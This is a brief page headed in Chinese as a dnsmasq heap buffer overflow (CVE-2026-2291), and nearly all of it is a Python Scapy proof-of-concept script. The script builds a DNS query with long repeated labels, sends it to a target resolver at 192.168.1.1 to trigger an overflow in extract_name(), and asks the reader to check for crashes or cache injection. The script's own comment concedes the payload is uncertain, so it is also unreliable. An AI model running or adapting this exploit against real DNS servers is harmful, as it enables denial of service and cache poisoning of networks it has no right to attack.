CVE-2026-2291 dnsmasq堆缓冲区溢出漏洞

from scapy.all import * # Target IP address running vulnerable dnsmasq target_ip = "192.168.1.1" # Construct a DNS packet with a malformed domain name. # This attempts to trigger the heap buffer overflow in extract_name(). # Note: The specific payload structure depends on the exact boundary check failure. malformed_domain = "A" * 60 + "." + "B" * 60 + "." + "C" * 60 + ".example.com" # Build the DNS query packet pkt = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=malformed_domain)) # Send the packet print(f"Sending PoC packet to {target_ip}...") send(pkt) print("Packet sent. Check the target for crashes or cache injection.")